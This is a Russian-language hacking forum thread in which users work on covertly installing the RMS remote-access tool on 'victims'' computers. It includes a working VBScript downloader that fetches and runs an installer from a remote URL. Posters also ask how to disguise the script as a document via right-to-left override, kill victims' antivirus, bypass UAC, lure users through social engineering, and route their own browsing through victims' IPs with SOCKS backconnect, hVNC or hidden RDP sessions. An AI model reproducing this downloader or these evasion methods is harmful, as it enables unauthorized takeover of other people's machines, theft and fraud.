RMS 5.1 c отправкой ID и pass на почту.

Нужно управлять рабочим столом.

Когда кликаешь на управление или просмотр рабочего стола сначала грузится черный экран потом rms выдает ошибку "Управление рабочим столом произошла ошибка, cоединение было прервано" у жертвы не просто два монитора а как я понял из быстрого просмотра (скрин выше) два рабочих стола. Походу rms ловит глюк не зная каким управлять. Я просто ни бум-бум в восьмерке и какие функции в ней реализованы. Короче как вариант решения проблеммы, как удаленно отключить один из рабочих столов?

 

Не, на скрине всего один рабочий стол. Но на два моника расширенна рабочая область. Я стабильно подключался на старых версиях к WIN7 на два монитора. Думаю, здесь может быть какая-то проблема с драйверами, но по идее, они просто не могли не продумать подобный случай =) Я тогда просто вел мышку вбок до упора и картинка переползала на соседний монитор.

Быть может в момент подключения Windows включен экран блокировки?
Тогда его можно отключить в реестре

Код:

HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\

создаем раздел Personalization. В разделе Personalization создаем параметр типа DWORD с именем NoLockScreen и присваеваем значение 1

Добавлено через 2 часа 1 минуту
Попробуй еще с этими опциями поиграть.


Ну и самый крайний случай, попробуй отправить на удаленный компьютер комбинацию клавиш "WIN+P" несколько раз и ENTER. Или уж совсем крайний - поискать параметр настройки нескольких дисплеев в реестре. Но я уже спать иду и врядли сейчас найду что нибудь %) Можешь попробовать "Procmon" использовать чтобы отследить изменения реестра при выборе различных параметров настройки мониторов и по аналогии исправить на удаленном компьютере.

 

Internet ID Server:

Hidden Content:

**Hidden Content: To see this hidden content your post count must be 10 or greater.**

A-L-I-E-N
Да можно использовать такой вариант с VPN + no-ip, главно чтоб IP за nat небыл)

 

Само тело пока чисто. На вирустотале приватном чекере палит только комодо. Может проактивка или ещё что.

 

Палит Oupost Security Suite Pro 9.1 Trojan.Graftor!vwJws68L3Rc

Написал загрузчик для rms через VBS скрипт. Пример с WinRar

Set oXMLHTTP = CreateObject("MSXML2.XMLHTTP")
oXMLHTTP.Open "GET", "http://rarlab.com/rar/wrar500ru.exe", 0 (http ссылка на инсталятор)
oXMLHTTP.Send
Set oADOStream = CreateObject("ADODB.Stream")
oADOStream.Mode = 3
oADOStream.Type = 1
oADOStream.Open
oADOStream.Write oXMLHTTP.responseBody
oADOStream.SaveToFile "C:\wrar500ru.exe", 2 (путь куда сохранить инсталятор)
dim path, WshShell
path = "C:\"
set WshShell = WScript.CreateObject("Wscript.Shell")
WshShell.Run path & "wrar500ru.exe", ,true (запуск инсталятора)

Меня интересует
1) Как замаскировать vbs скрипт сменить иконку и расширения под файлы типа doc, xls или pdf так что бы скрипт остался работоспособный и запускался из zip\rar архива? A-L-I-E-N писал выше про left-to-right override но я нновенький на форуме ссылки под хайдом не доступны.
2) Кто нибудь обьясните вменяемо, что значит ограничение на один лицензионный ключ 10 компьютеров? Если мой инсталятор с бесплатным ключем установят 20 компьютеров мне будут доступны только 10 последних установших?

 

толку от left to right override практически я не нашел. в своей системе (ито только win7,возможно win8?) этот трюк радует глаз. но в любом архиве exe остается, если по скайпу кидать тоже не срабатывает трюк(
в win xp не работает.
так где ещё эту фичу можно применить?)

у кого есть личный internet-id сервер?

И вообще смысла не вижу маскировать exe, ибо в win7\8 заорет UAC. И если пользователь не слепой, то все поймет и запускать не будет.
Походу легче войти в доверие\представть программу хорошей и тд)

 

глянь тут http://profhelp.com.ua/articles/%D0%BA%D0%B0%D0%BA-%D0%B7%D0%BB%D0%BE%D1%83%D0%BC%D1%8B%D1%88%D0%BB%D0%B5%D0%BD%D0%BD%D0%B8%D0%BA%D0%B8-%D0%BF%D0%BE%D0%B4%D0%B4%D0%B5%D0%BB%D1%8B%D0%B2%D0%B0%D1%8E%D1%82-%D1%80%D0%B0%D1%81%D1%88%D0%B8%D1%80%D0%B5%D0%BD%D0%B8%D1%8F-%D1%84%D0%B0%D0%B9%D0%BB%D0%BE%D0%B2

 

Cпс но я уже разобрался, что это. left-to-right override оно же (RLO) фича на данный момент беспонтовая и не актуальная новички не тратьте зря время.

p.s. Как удаленно убивать антивирусники у жертв не входя в gui антивируса, taskkill /f /im не предлогать 0)))

 

Кто нить знает как обойти UAC ?
Возможно в Exe засунуть манифест какой-нить, на который UAC бы не реагировал и давал установить?)

 

Не поможет манифест "какой-нить".
В инторнетах валяются какие-то сырцы обхода, на сколько актуальные не в курсе.

 

из всего мной прочитанного так и не нашел не чего актуального, куча способов по перепробовал, но не получается создать нормальный рмс, Прошу помощи у знатоков! Нужно сказать что сейчас актуально и по тв показать как все сделать! Помощь оплачиваемая (в долгу по любому не останусь.)

 

У каждого свои предпочтения,но TV был актуален,как раньше,так и сейчас,никаких гонок за новыми версиями,все спокойно себе работает и не палиться,как статиком,так и проактивками .

 

ТВ- имел ввиду тимвивер .
Вобщем оч нуждаюсь в помощи!

 

Все вопросы в личку.

 

написал

 

ТС свою сборку не продает? Как например vinject, что тема выше тоже про рмс.

 

Есть идеи как воспользоваться айпишником жертвы? Большинство за НАТом сидят, прокси не сгодится..
Цель- серфить с айпи жертвы:af:

 

Идея не нова,установить у холдера сокс с бк,подключиться по hvnc,или в скрытой сессии рдп.

 

как это реализовать? на удаленой win7 нужно править реестр(для активизации терминального сервера, а также заводить доп учетку)?